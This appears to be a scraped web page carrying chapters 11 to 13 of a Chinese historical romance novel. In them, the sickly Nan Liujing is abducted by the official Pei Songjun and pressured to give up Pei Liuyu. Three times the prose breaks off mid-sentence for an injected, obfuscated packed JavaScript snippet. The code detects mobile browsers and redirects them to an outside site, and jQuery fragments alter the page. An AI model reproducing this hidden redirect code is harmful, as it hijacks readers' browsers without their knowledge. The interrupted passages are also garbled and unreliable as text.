为什么,为什么活着会这么痛? 如果活着就要日复一日地疼痛,是不是成为地上那些腐臭的尸体,反而是种解脱?如果双眼一闭,再也不用醒来,是不是痛苦就有了尽头? 她的眼皮越来越重,哭声越来越低。 「阿兄……我不想再痛了……」 身体被一下抱紧,环着她的手臂也在发抖,然后是少年沙哑得不成语调的声音,像是小兽安抚同类时发出的低鸣,又像是喉咙里挤出来的无助呜咽。 「再忍一忍,就不痛了……」 声音忽远忽近,不断重复。 「再忍一忍……」 「难道你要丢下我吗?」 不能,不能丢下阿兄一个人…… 那就再忍一忍,忍一忍…… 一把火不知烧了多久,烧得生灵涂炭、满目疮痍。 火烬灰冷时,南流景缓缓睁开眼。 眼前模糊的重影一点点褪去,终于现出被烛光浸染的青纱帐顶。 她神色怔忪,只觉得自己经历了一场浩劫。 身子发软,连手都抬不起来;骨头如同被敲碎后重新拼合,关节处隐隐作痛;眼眶干涩,发烫的脸颊上贴着一片冰凉,勉强抬手抹去,指腹上湿漉漉的…… 意识到这是眼泪后,南流景有些诧异。 她下意识回忆自己究竟做了个什么梦,可刚抛下网,那些串成线的记忆就像被一只无形的巨手猛地一扯,画面瞬间支离破碎、四散而崩,从罗网的缝隙里尽数漏了出去,只剩下一片虚空…… 心里空落落的,好像忘记了什么重要的事。 “醒了?” 熟悉的声音传来,带着几分惺忪睡意。 南流景侧头,就见江自流揉着眼睛走了过来,在她身边坐下。 “睡了两天两夜,总算是醒了……” 江自流伸手往她额上贴了一下,又捏住她的手腕,把住脉搏。 “两天……两夜?” 南流景启唇,喉咙像是被烧过,每说一个字都有如刀割,“这么久?” 江自流替她把完脉,才将她的手塞回被子里,又掖好被角,“醒过来就是福大命大了。你又不是不清楚自己的状况,旁人落水至多是风寒,你却是一触即溃,毒症发作……” 见南流景脸色不好,她改口道,“好在稳住了。老实说,我从未见过比你命还硬的。这身毒若换成其他人,怕是早就投胎多少回了。” “……我就当你是在安慰我。” “就是在安慰你。” 江自流哄她,“闭上眼好好睡吧,你这身子又有的养了。” 南流景闭上眼,却睡意全无。 她动了动胳膊,艰难地朝外翻了个身。这一翻身,却有一个冰冷的硬物从她怀里掉了出来,直接滚到了江自流手边。 南流景一愣,睁开眼,“那是什么……” 江自流将那东西拾了起来,神色微妙地递给她看。 竟然是一只银纹漆面的护臂,图纹是凶猛的兽纹,残留着几道斑驳的裂痕,看着像是刀剑利器留下的痕迹,俨然是习武之人用过的旧物。 南流景一下睁大了眼,惊得坐起身来,“这是哪儿来的?” “你一点都不记得了?” 江自流若有所思地打量她,“这护臂是萧家大郎的。” “萧……” 南流景不可思议地,又仔细盯着那护臂瞧了几眼,果然觉得眼熟,似乎真的在萧陵光手臂上见过,“可萧陵光的护臂为何会在我怀里?!” “因为是他送你回来。而你病糊涂了,抱着他的胳膊不肯松手,我和伏妪扯都扯不开……” 江自流多说一个字,南流景的表情便惊骇一分。 她头晕目眩,眼前开始发黑,“……他没想剁了我的手?” 江自流想了想,“看他的脸色,恐怕是动过这个念头的。” “……” “但后来他还是忍住了。这位萧郎君瞧着凶悍,脾气竟是出奇得好。他在这儿待了将近一个时辰,然后才把护臂摘下来走了。可能是因为你一直在哭,哭得太可怜了……” 江自流看了一眼神情麻木的南流景,“对了,你还叫了好几声阿兄。” 南流景眨眨眼,忽然又活了过来,“你再编一句瞎话试试?” “什么瞎话?” “我都没有兄长,怎么可能叫人阿兄?” 自她记事起,就在奚家做药奴。她无父无母,更没有兄长,“阿兄”这两个字她从未叫过,怎么可能在梦里叫出来? “我是病了,又不是被脏东西附身了……你休想诳我。” “我诳你?伏妪也听见了,不信你问她……” “不可能。” 南流景斩钉截铁地,“定是你们听错了。” 江自流有口难辩,最后也懒得同她争辩了,摆摆手,催促她躺下,“信不信由你。” 南流景心里好受了些,虚弱地躺回榻上。 临走前,江自流故意拿起那护臂问她,“那这护臂你还要不要抱着了?” “……滚。” - 一场落水,南流景足足养了七日才彻底回魂,这还是在江自流日夜照料、跟在后面用药的状况下。 也难得有一回,南流景病了七日却不见憔悴,气色还更甚从前。相较之下,反而是江自流瘦了一圈,眼下也挂着乌青。 “之前你一直病着,我也没心思问你……” 江自流坐在屋前台阶上碾磨药草,无精打采地,“那日你究竟是怎么落的水?” 南流景推开想要过来捣乱的魍魉,没吭声。 “伏妪说,是众人在水上玩乐,你被排挤了,这才被推进水里……我总觉得没这么简单。” 江自流转头看她,“你落水是因为我吗?” “落水这件事与你无关。” 南流景想了想,“但寿安公主的确已经知道了你的下落。她说,可以放你一马。” “条件呢?” “让我与裴流玉一刀两断。” “……什么?” 江自流有些怀疑自己的耳朵。 南流景便又重复了一次。 江自流沉默半晌,神情复杂地摇头,“我倒是看不懂这位公主了……” “她从小恋慕裴流玉,就算自己得不到,也不许旁人得到。这很难懂么?” 南流景将魍魉捞进怀里,望向别处,“如果,我是说如果……如果没有裴流玉,没有南家,靠你江自流一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041290|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人,能不能保住我的命?” 江自流一愣,“你不会真的想……” 南流景转过脸来,定定地看着她,神色是难得一见的认真,可口吻却比任何时候都凉薄,“我在衡量你和裴流玉的价值。” 一时间,江自流眼里的错愕难以遮掩。 她的第一反应不是思考自己和裴流玉谁更有价值,也不是猜测南流景的选择,而是在想:裴流玉竟然是能同她放在一起掂量轻重的角色吗? 南流景心里的确有杆秤。 秤这头是裴流玉、裴氏的权势富贵、裴流玉对她的情意,还有她对裴流玉的那些感激、动心、不舍…… 而秤那头只有一样,江自流的医术。 裴流玉恐怕是这世间待她最好的人,可江自流是唯一能替她续命的人。 南流景暂时还比较不出来,江自流也没机会给她答案,因为伏妪出现了,又带来了外面的消息。 “二娘子回来了,正在前院同老爷夫人哭诉。” 南流景病着的这几日,南家其实很不太平。 先是南老爷遭人弹劾被罚俸,然后是嫁入侯府做侧室的南大娘子暗害侯夫人不成,彻底失了恩宠,而最糟心的,还是南二娘子的夫婿,竟是稀里糊涂卷进了一桩贪墨案里,被直接下了狱,等候处置…… 一件接着一件,若说是巧合,南流景是不信的。 分明是有人在故意敲打南家。 伏妪刚回来通风报信,南二娘子便红着眼睛来了朝云院。 江自流带着魍魉躲回了厢房,南二娘子一进门,便呼天抢地的要给南流景跪下,好在被一旁的伏妪给扶住了。 “五娘,如今整个南府只有你能帮我了。你能不能去裴家,找裴流玉……” 她脸色煞白,“若裴流玉被禁足,见不着面,你向裴家三郎求情也是一样的。他如今是司徒大人,位列三公,想保下什么人,就是一句话的事……” 南流景静静地看着她,“二姐姐既知道裴流玉被禁足,难道不知道他是为何禁足?” 南二娘子的哭声一滞。 “裴松筠雷霆手段,要断了裴家与南家的结亲,又怎么可能在这种时候出手相助?更何况他对我恶之、厌之,我若是闯到他跟前,不仅救不了二姐夫,恐怕还会适得其反。” 这话只是借口。 南流景其实能猜到,南家是被何人敲打,又是为何被敲打。系铃人是她,解铃人自然也是她。 但很可惜,南二娘子和南氏并不在她心里那杆秤上。 “……” 南二娘子眼里的光黯了。 出乎南流景的意料,她也没有继续哭闹,只是失魂落魄地在朝云院坐了好一会儿,便说要去佛寺上香。 “五娘,你能陪我一同去么?” 南流景望着她,半晌才叹了口气,“好吧。” - 马车在山道上缓缓驶动,在荒无人烟处停了下来。 车夫率先跳下车,随行的两个护院也翻身下马,掀开车帘。南二娘子用帕子捂着口鼻,踩着马凳下了车。紧接着,两个护院从车中将昏迷的伏妪架了下来,放到一旁的林地上。 南二娘子站在马车边,神色复杂地转头,望向浑身无力、半靠在座榻上的南流景。 “小五,别怪我……” 她喃喃了一句。 伴随着一声受惊的马嘶,车身猛地颠簸起来。 南流景被摔向车壁,眼前一片重影。 意识消失前的最后一刻,她看见失控狂奔的马,震荡到快要散架的马车,还有近在咫尺的悬崖…… 11. 囚困 泠泠的雨声由远及近,由虚变实,像是织成了一张浸透水汽的罗网,将南流景包裹其中。 有那么一刻,她甚至以为自己已经摔下山崖,一命呜呼了。可意识是清明的,身子是沉重的,她坐在一张圈椅中,手脚都被捆缚住,眼前蒙着黑布。 ……阎王爷不会这么绑人。 视觉被剥夺,其他感官就变得格外敏锐。耳畔的雨声仿佛被放大了百倍千倍,叫她甚至能分辨出细微的差别:雨雾没入水面、绽开涟漪的波澜声,雨丝斜穿竹林、打在竹叶上的沙沙声,还有雨珠从檐瓦上坠落,敲在石砖上的清脆声。其间还夹杂着簌簌风声,吹着书页、撞着珠帘…… 临水、竹林,仿佛与世隔绝的一间书斋。 深吸一口气,尽是春雨清新的气味,隐隐有竹香和墨香纠缠其中,而最深处,是那股似有若无的雪后松香。 南流景启唇,吐出三个字,“裴松筠。” 不知过了多久,一道清润的嗓音才穿过雨声,遥遥传来。 “这么快就猜到了。” 南流景扯扯唇角,声音既轻又冷,“下次做绑匪前,司徒大人还是不要熏香了吧。” 片刻后,一阵脚步声响起,那股清冽的松香也逐渐盖过其他气味,逼至近前。 那种不适感又涌了上来,南流景蹙眉,身子往后仰去。 后背撞上圈椅,她退无可退。紧接着一阵凉风扫过,蒙在她眼睛上的黑布随之一松,沿着她的鼻梁滑落。 南流景眼睫颤了一下,缓缓睁开。 阴晦的天光,墨绿的竹影,交融成了深重而克制的底色。 而裴松筠就在这片竹色里长身静立,白衣乌发,素不染尘。那一身清远平和的气度,不似庙堂上的显赫权臣,倒更像江湖上的闲云野鹤。 “……” 南流景抬起头,看向裴松筠。 “我说过,贪字头上一把刀。” 裴松筠眼眸沉黑,神色温和,仿佛说出口的话并非是胁迫和恫吓,“南流景,你没把握住我给你的机会。现在,我们只能换种方式了。” “什么方式?” 南流景盯着他,笑了笑,“再杀我一次?” 裴松筠的目光忽然起了变化,落到她面上时带着几分笑意,像是讥讽,“不装了。” “事已至此,没有必要了。” 南流景说道,“大人也不必再装了。若真的想杀我,在我昏迷不醒时便能动手,何需多此一举,特意将我捆到这里来?” 说着,她移开视线,越过裴松筠,看向周围的布置。 与她猜想得没错,的确是一座被竹林环绕的书斋。透过海棠纹的六角景窗、错落稀疏的竹影,可以看见不远处就是水畔,而且一眼望不见对岸。 “四面环水,倒是个囚困人的好地方。” 南流景低声笑,“还要绑着我么?我又没有本事从这儿飞出去。司徒大人继续捆着我,倒像是怕了我这么个弱不禁风的病秧子。” 裴松筠沉吟片刻,低下身,先是替她解开了脚下的系绳,然后是手上的。 在手上束缚被解开的一瞬间,南流景手腕一转,猛地拽住了那片宽大的白色袖袍。 裴松筠眉头一蹙,尚未来得及反应,就见跟前单薄如纸的女郎骤然起身,竟是爆发出一股掀天揭地的气力,不管不顾地朝他撞了过来—— 轰然一声巨响。 缠绕着绳子的圈椅被踢得倒在地上,而与它一起砸落在地的,还有横亘在书斋中央的一架半透纱竹石兰花屏风,以及叠倒在屏风上的一双人。 南流景自己跌得头晕眼花,却飞快地抬起手,从发间拔下一根如意簪,抵在裴松筠的颈间。 雨势陡然瓢泼,狂风掀落竹叶,从景窗外灌进来,吹得珠帘噼里啪啦响作一团。 地上,素来神姿高彻、如瑶林琼树般的裴氏三郎躺倒在地,发丝乱了,衣裳皱了,身上跨坐着披头散发的青衣女郎,颈间被锋利的簪尖抵着,已经刺破皮肤,渗出几滴鲜红的血珠,滴落在屏风上…… 上一次这么狼狈,还是因为那杯郿侯酒。 裴松筠闭了闭眼,眉宇间山雨欲来。 “裴松筠,你还真是不长记性啊。” 南流景一手按住身下人的肩,一手死死握着簪身,尽管脸色苍白,手指也在颤抖,可口吻却是挑衅的。 “现在,是不是该用我的方式了?” 她将簪尖刺得更深,“你不想杀我,我却是真的想杀了你。” 裴松筠睁开眼。 再看向南流景时,那张脸上的温柔平和仿佛被撕裂了一瞬,瞳孔深处也似有风暴酝酿,可稍纵即逝,叫人根本分不清究竟是情绪波澜,还是光影变幻。 “是吗?” 裴松筠反问,声音还是那样淡,“可我觉得你舍不得。” 南流景瞳孔震颤,“你……” “杀了裴家家主,你绝无活路。同归于尽、玉石俱焚……柳妱,你舍不得,你也没有那个骨气。” 没想到这么快就会被拆穿,南流景好不容易提起的那口气猝然散了个干净。 的确,她想好好活着。不到万不得已,绝不会同人鱼死网破。 可裴松筠那张虚伪的、温和的脸孔实在是叫她厌恶,甚至叫她心里生出毁灭的欲望。所以明明可以坐下来好好谈判,她却还是想要撕下他那张假面,狠狠给他个下马威…… 趁她松懈的时候,裴松筠已经扣住她的手腕,将那根如意簪从颈间挪开,然后用另一只手将簪子抽了出来,远远掷开。 簪身“叮”地一声落地。 裴松筠看向南流景,眼神辨不出情绪地在他们二人之间上下打量,“喜欢这样说话?” 南流景咬咬牙,锐挫气索地往后撤开。 她没力气站起来,干脆席地而坐,背靠着那倒地的圈椅。她的脸色比平日里要红些,墨发披垂在肩上,胸口起伏不定,与屏风上那几株倒地的兰草一样,乱了气韵。 裴松筠也从地上站了起来,先是拿出绢帕,拭去颈侧的血痕,然后才侧过身,整理起衣襟和袖袍。 南流景深深地吸了几口气,直到气息平稳后,才装作什么都没发生过,淡定出声,“同大人开个玩笑罢了,一不小心失了分寸,大人不会生气吧?” 裴松筠转回身,看了她一眼。 转眼间,他就又变回了那个毫无破绽的裴氏家主,年轻司徒。 “我取你的性命,比你取我的要轻易得多。” 裴松筠的眼神深不见底,“为何你还能好端端地坐在这儿同我玩笑……原因你心知肚明。” 南流景摸着手腕上被捆出来的红痕,轻轻点头,“当然。” “我虽卑如蝼蚁,命如草芥,司徒大人要杀我很容易,可杀完我之后呢?后事料理起来,恐怕还是有些麻烦。兄弟反目、家宅不宁,一个不小心还容易给仇敌留下把柄……为了我这么个小女子,实在不值得冒如此风险。所以最好的办法,还是叫我知难而退、见好就收,亲自出面断了裴流玉的念想。” 裴松筠看了她一会儿,“你是这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041291|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想的?” “难道大人不是这么想的?” 裴松筠没说话,而是后退两步,回到书斋另一边的圈椅中坐下,整个人愈发与竹影融为一体。 南流景似乎看见他摇了摇头,然后就听见他不以为然的漠然嗓音。 “你未免太高估自己了。” “我是不喜欢杀人,但不意味着我拿你没有办法。载你的那辆马车,现在还在山崖下,摔得四分五裂。外人眼里,南五娘已经生死未卜。” 南流景心里一咯噔,蓦地抬眼,却只看见裴松筠隐在暗处的模糊身影。 “我只给你三日时间,若你还是执迷不悟,非裴流玉不可。三日后,我会让南流景从世间消失。” - 南流景失踪了。 同她一起出去的南二娘子回来求助,说是遇上了匪徒,所有人都中了迷药。其他人护着她逃了出来,昏迷得最厉害的南流景却被落在车上。 之后马受了惊,不知把人拉去了何处。有可能是在山林里迷了路,也有可能摔下了山崖,更有可能已经落进匪徒手里…… 南家暂时不敢声张,只能在夜里打发了家奴去搜山。 伏妪不省人事地被带回了南府,醒来得知南流景失踪,险些哭得昏过去,还是江自流冷静地劝她。 “当务之急,是将人找到。可凭南家一己之力,远远不够。万一人真被绑进了匪窝里……” 江自流皱眉,“必须去给裴七郎通风报信。” “可裴七郎已经被禁足,裴家就如铜墙铁壁……” “还有萧陵光!” 得知南流景失踪的消息,萧陵光也意识到这是大事。他二话不说,立刻调了一拨龙骧军上山寻人。 原本他也打算跟着上山的,只是都已经上了马要出发了,他却忽地想起什么,一扯缰绳,调转方向,在夜色中疾驰离去。 “南流景失踪了?” 公主府内,贺兰映一把掀开凉亭外的纱帘,趿着木屐从里头走出来,漂亮的脸孔上满是愕然。 萧陵光打量她,“不是你做的?” “你有病吧。” 贺兰映冷脸叱了一声,“我图什么?” “不是你就好。” 萧陵光干脆利落地转身要走。 出乎意料地,贺兰映竟是跟了上来,“等等,本宫换身衣裳,同你一起去。” 浮云掩月,夜阑人定。 二人一前一后赶到山脚下时,就见龙骧军们举着火把围在一架摔得四分五裂的马车前。还有两人抬着一具尸体从荒林中走了出来。 萧陵光神色微变,还未来得及动作,身边的贺兰映已经一个箭步冲了过去。 “她死了?” 斗篷下,那张明艳脸孔被火光映照得有些怪诞。 “面容有损,暂时无法辨认,还得等南家……” “把人翻过来。” 贺兰映直截了当地下令,声音极冷,“看她后腰有无胎记,梅花状的。” “……没有。” 险些被误认作南流景的无名女尸被抬走,贺兰映又在原地顿了好一会儿,才慢慢转过身。 一抬眼却对上萧陵光晦暗锐利、甚至有几分乖戾的目光。 “你说谁的后腰有梅花胎记?” 相识数年,贺兰映还从未见过萧陵光露出如此神情。即便是昔年杀敌如麻的时候,也不及他此刻的可怖情状,恍若勾魂索命的怨鬼。 她一时失了声,半晌才答道。 “南流景。” 12. 彩头 一场春雨连着下了两日,直到第三日天亮,才终于放晴。 竹叶被雨水浸泡后泛着清新的香气,南流景坐在书斋外头的扶栏边,望着波光粼粼的水面发呆。 时近正午,身后传来小船靠岸的声响。 南流景回头,穿过竹林走进来的不是前两日送饭食的仆役,而是白衣宽袍的裴松筠。 “三日之期到了。” “天还没黑,还有半日呢。” 南流景懒懒地靠着扶栏,并不着急,“大人有没有想过,就算我愿意去见裴流玉,愿意编些决绝的话同他了断,他也不会相信的……” “你一定有办法让他相信。” “……” 南流景不说话了,直到裴松筠将手里的食盒往案上一放,她才慢吞吞地挪了过去,掀开食盒,取出饭菜。 伏妪说了,天塌下来也要好好用饭。 裴氏的厨子厨艺极好,只可惜今日做的是蒸鱼、珍珠丸子和清炒茄丝。 南流景叹了口气,筷子都没往那几道菜里伸,只有一下没一下地扒着米饭,小口往嘴里送,艰难吞咽。 “如此挑食,难怪病弱。” 裴松筠不知从哪儿又取出了一双筷子,夹了个珍珠丸子到南流景碗里。 “……” 南流景被他毫无边界感的行为惊着了。 一时间她都有些摸不清,这究竟是他的怀柔手段,还是他在今日的菜里下了毒。 “我不能吃糯米。” 南流景抖着筷子,将那珍珠丸子从碗里又拨了出去。 裴松筠看了她一眼,又为她夹了一块鱼肉。 “也不能吃鱼肉。” 南流景继续拨出去,然后在裴松筠的筷子朝茄丝伸过去时,直接捧着碗躲开,“茄丝也吃不得。” “啪。” 裴松筠将筷子放下,发出不轻不重的一声响。 他平静地看着她。分明神色没什么异样,却看得南流景后背一凉、莫名紧张。 她咬着筷子,小声解释,“真的都不能吃。糯米吃了会腹痛,鱼肉吃了会起红疹,茄丝吃完会呕吐发热……” 解释完她又反应过来,觉得自己紧张得莫名其妙。 于是挺直腰杆,也将饭碗啪地一丢,大声道,“我吃什么,不吃什么,挑不挑食,关你裴松筠什么事?你是我爹吗,凶什么?还是说你就是故意的,故意拿这些菜折磨我?” 裴松筠看着她,眼眸沉黑,深不见底。他破天荒拧了一下眉,可身上那股摄人的压迫感却渐渐消失了。 “那你现在能吃什么?” 他问。 南流景毫不客气地报了一串菜名。 裴松筠听完就一声不吭地起身走了,还收走了案上的所有菜肴。 ……连米饭都收走了。 南流景没精打采地回到角落里的小榻上躺下,饿着肚子诅咒裴松筠。 骂着骂着她便睡着了,再睁开眼时,竟又嗅到了一阵饭菜的香气。 南流景饥肠辘辘地坐起身,循着香气找过去,就见裴松筠去而复返,面前的矮几上摆着三道热气腾腾的菜肴——都在她刚刚列出的清单里。 南流景呆住。 这回都不是受宠若惊,而是有些惊涛骇浪了。 她皮笑肉不笑地走过去,“对一个阶下囚,大人也要装得如此体贴么?” 裴松筠忽地笑了,声音没什么温度,“断头饭,理应如此。” “……” 南流景的表情变得骇然。 裴松筠敛了笑,“快些用饭,用完还有一桩要紧事。” 南流景食不知味地将一桌饭菜用了大半,然后便有几个婢女乘船来了书斋。 裴松筠出了屋子,只留下婢女在屋里。婢女们围上来,动作迅速地为南流景更衣,绾发,梳妆。南流景想向她们打探消息,她们一个个却守口如瓶,连一句闲话都不肯与她说。 南流景换上了一袭水绿色衣裙,绾起简单的发髻。她后知后觉地反应过来,回头一看,竟发现自己与身后那些裴氏婢女打扮得一模一样。 可还不够,婢女们又拿起妆粉、眉笔,在她脸上涂涂抹抹,甚至还有些她见都没见过的东西,厚厚一层盖在她脸上…… 书斋里没有妆镜,南流景不知道自己变成了什么模样,但她能感觉到,自己已经不是之前那张脸了。 半个时辰后大功告成,婢女们纷纷退下,南流景也连忙走出书斋,冲到了水畔。 她俯下身,一边摸着脸,一边借着水面上的倒影打量自己。虽然很模糊,但也能看出是一张陌生的、与南流景不大相关的脸孔。 水波荡漾,一道身影出现在她身后。 南流景转身,就见裴松筠手里拈着一条熟悉的黑色布条。 “自己系上。” 他不容拒绝地递过来。 南流景迟疑,“你到底要做什么?” “带你出去一趟。” 南流景云里雾里地将布条蒙在了眼上,然后便有两个人走上来,一边一个搀住她,将她带到了船上。 下了船,又上了马车,一路上裴松筠都没有同她搭话,唯有那丝挥之不去的雪松香气证明他一直都在。 待马车停稳后,南流景眼睛上蒙着的布条被摘了下来。 南流景将车帘掀开,一眼便看到了近在咫尺的城门,和日光下金光烁烁的巍峨宫阙。 她手一抖,不可置信地回头,“你要带我进宫?” “下车。” 裴松筠看了她一眼,“皇宫不比外面,伴君如伴虎。你若聪明,最好乖乖做个哑巴,否则无需我动手,你今日自会命丧于此。” “……” 日光刺眼,宫道上戒备森严,重楼飞阁在地上投下层层叠叠的影子,却显得扭曲而狰狞。 御花园内万紫千红、花团锦簇,时不时还能遇上巡逻的侍卫和宫婢,见了裴松筠后纷纷停下来行礼,恭恭敬敬地唤一声“司徒大人”。 南流景亦步亦趋地跟在裴松筠身后,腿肚子有些打颤,大气都不敢喘。 二人行到游廊尽头,在一处花格窗前停下。 裴松筠转过身,南流景也顺着他的视线,透过窗格朝游廊另一边看去。 园中聚集着不少世家儿郎,个个锦袍玉冠、风度翩翩。他们三五成群地聚在一起,有的在投壶,有的在射箭,还有些在玩六博棋。 而他们身后的亭台之中,垂着珠帘,隐隐约约能看见几个女子坐在那儿,个个华服盛妆,贵不可言。最中间那位身着凤袍,年纪稍长,尤显尊贵。 “皇后今日在宫中设宴,为几位公主相看驸马。” 裴松筠伸手指了指,“流玉也在。” 南流景一愣,果然在角落里看见了已经数日未见的裴流玉。 游廊离园子毕竟还隔着一段距离,她看不清裴流玉的面容,只能从他坐在食案后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041292|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身影窥出几分消瘦和颓唐。 南流景皱皱眉,不明白裴松筠的用意。 她正盯着裴流玉,忽然被一旁投壶的几个世家子弟吸引了注意。 他们突然走到公主们所在的亭台外,扬声说要比拼投壶技艺,想向寿安公主讨个彩头。 片刻后,贺兰映从珠帘后走了出来。她依旧是一袭织金红裙,云鬓花颜,出现在园中的那一刻,群芳都黯然失色。 她摘下发间的一只金钗,发话道,“既然皇后娘娘都发了话,那本宫这支并蒂莲金钗,便拿来给诸位做彩头吧。” 南流景清楚地看见,贺兰映在说这话时,朝坐在那儿的裴流玉看了一眼。 裴流玉没有动作,在场的其他世家子弟却都按捺不住了,纷纷围过去投壶,争先恐后地想要赢下贺兰映的彩头。 一箭接着一箭,喝彩声不断。 眼见着众人都投完了手中箭,胜负已分。一位投出双箭贯耳的郎君从人群中走出来,志得意满地向贺兰映讨彩头。 “等等……” 就在这时,南流景听到了一个无比熟悉的声音。 众目睽睽之下,裴流玉终于站起了身,朝投壶的人群走了过去。 他面无表情,周身气压很低,可动作却干脆利落。走过去时随手就抽出两支箭,然后转身背对着壶口,扬手将箭矢朝后一掷—— “当啷!” 又是一个双箭贯耳。 园中静了一瞬。 不知为何,南流景竟也不由自主地屏住呼吸。 她眼睁睁地看着裴流玉走到贺兰映面前,接过那支充当彩头的金钗,然后抬起手,将金钗戴回了贺兰映的发间。 春光潋滟,年少气盛的裴七郎与金枝玉叶的寿安公主站在一处,郎才女貌,佳偶天成,任谁来了都不得不说般配二字。 那一刻,南流景只觉得自己的心湖也起了阵凉风。 “裴流玉永远是贺兰映的退路。” 裴松筠转头看向她,缓缓道,“你明白吗?” 南流景沉默了良久。 在她沉默时,园中的裴流玉已经转身离开,而贺兰映也笑意盈盈地追了出去,二人一前一后却又形影不离地消失在了百花深处。 然后南流景才转过身,忽然问道,“是他自己想做这条退路,还是旁人希望他做这条退路?” 裴松筠望着她,神色有些意外,“你竟还不死心?” “比起眼睛,我更相信自己的心。” 南流景说,“不论刚刚那一幕有无隐情,我只知道,在我面前的裴流玉,并不作假。” 裴松筠想了想,“流玉是不是告诉你,他是裴家幺子,不被看重亦不受拘束,不会同我一样,有身不由己的那一日……” 南流景抿唇不语。 裴松筠了然,笑了一声,“他未必是在骗你,因为他心里恐怕真的是这么想的。不入朝堂,便无需为宗族驱使。但你可知道,裴氏子弟,为何唯有他不必入仕?” “为何?” “因为当他从水里救起贺兰映时,祖父就已将他定为尚公主的最佳人选。” 听得祖父二字,南流景愣了愣。 “若非圣上不愿裴氏迎娶一位公主,若非裴氏那些族老年迈昏聩,被流玉轻易说动,你绝不会有任何可趁之机。” 顿了顿,裴松筠又作出一幅好心模样,温声道,“好在我回来得及时,才不至于叫你覆水难收。” 13. 移情 南流景忍不住看了他一眼,口吻有些讥讽,“叫我覆水难收?” “贺兰映要么不出嫁,若出嫁,驸马只会是流玉。不论你同流玉成婚与否,都不会改变这个结果。” 说着,裴松筠往前走了一步,微微低身。 声音落在南流景耳畔,越来越轻,似恫吓,似劝告,似怜悯。 “也就是说,纵使你今日如愿以偿做了裴七郎的夫人,可来日只要圣上愿意成全贺兰映。那么你的下场,好一些是被休弃,差一些,就是沦为妾室、奴婢……这一点,你可曾想过?” 最后一句落进南流景耳里,直叫她如坠冰窖、悚然惊悸。 她想过很多种裴松筠逼退自己的话术,这一层却是怎么也没想过。 可此刻被裴松筠这么一提点,她才忽然意识到,依照贺兰映那样偏执的性子,逼裴流玉休妻,又或是贬妻为妾,还当真是她能做出来的事! 若是与贺兰映共侍一夫、同处一个屋檐下,一辈子伏低做小地伺候她这个主母…… 艳阳高照,南流景的后背却出了一身冷汗。 心中那杆摇摆不定的秤,终于压倒性地沉向一侧。 - 从皇宫回到湖心那座书斋时,已是傍晚。 湖面上起了风,天色也忽然变了。墨黑的浓云翻涌而来,遮去了本就西沉的凉薄日光,穹顶黑沉沉地压了下来,仿佛触手可及。 书斋内,南流景站在一盆清水前,洗净自己脸上的妆容。 裴松筠进来时,就见她双手撑着盆架,深深地低着头,单薄纤瘦的肩膀微微耸着,一幅心事重重、不堪重负的可怜模样。 他步伐顿了顿,没出声,也没再走过去,而是抬手阖上了景窗。 窗棂阖上的“吱呀”一声唤醒了南流景,她慢慢地直起身,转过来。 那张姣好的脸孔已是脂粉尽褪,拨云见月,露出原本的轮廓。 她还未来得及擦干脸,于是眼睫上还缀着水珠,发丝也湿淋淋地贴在颊边,整张脸蒙着一层湿淋淋的雾气。或许也正因如此,她萦在眉眼的那股病气被掩去了,瞧着比平日里更出水芙蓉,楚楚可怜。 “啪。” 一滴雨珠砸在屋顶,打破了沉寂。 裴松筠终于启唇,“可想好了?” “……” 南流景低着头没出声。 “拖至今日,已然足够。” 裴松筠望着她,“你待流玉本就是浮萍寄水,何来情深?迟迟不肯松口,无非是如市井商贾,待价而沽。此刻是你加码的最后良机,还要贪心不足么?” 外头的雨声越来越大,竹林里水雾四溅,蔓延进了书斋。 这一次,南流景没有反驳。 她拾起手边的巾布,将脸上沾着的冷水一点点拭去。 “我可以去见裴流玉。” 知道她还有后话,裴松筠没应声,只是微不可察地勾了一下唇角。 水雾散去,南流景仰起头。她的五官变得清晰,眉眼间的清冷、凉薄无所遁形,“除了你之前应允我的,朝云院一切照旧,还有两件事,望得大人千金之诺。” “说说看。” “我身边有个医女,不小心开罪了寿安公主,惹来了杀身之祸,我想让大人出面保全她,此为第一件。” 裴松筠沉吟片刻,“只要此人安分守己,我便不会叫贺兰映伤她性命。” “至于第二件……” 停顿片刻,南流景一字一句道,“大人要帮我寻得传闻中的玉髓草。” “玉髓草是什么……” 裴松筠有些困惑,“你要它有何用?” “大人无需过问这些,差人帮我去寻这株药草即可。” “……” 裴松筠没有立刻应允,而是走到圈椅前落座,若有所思地看着她, 南流景直直地迎上他的视线,坚定地重申了一遍,“我必须要得到玉髓草。” 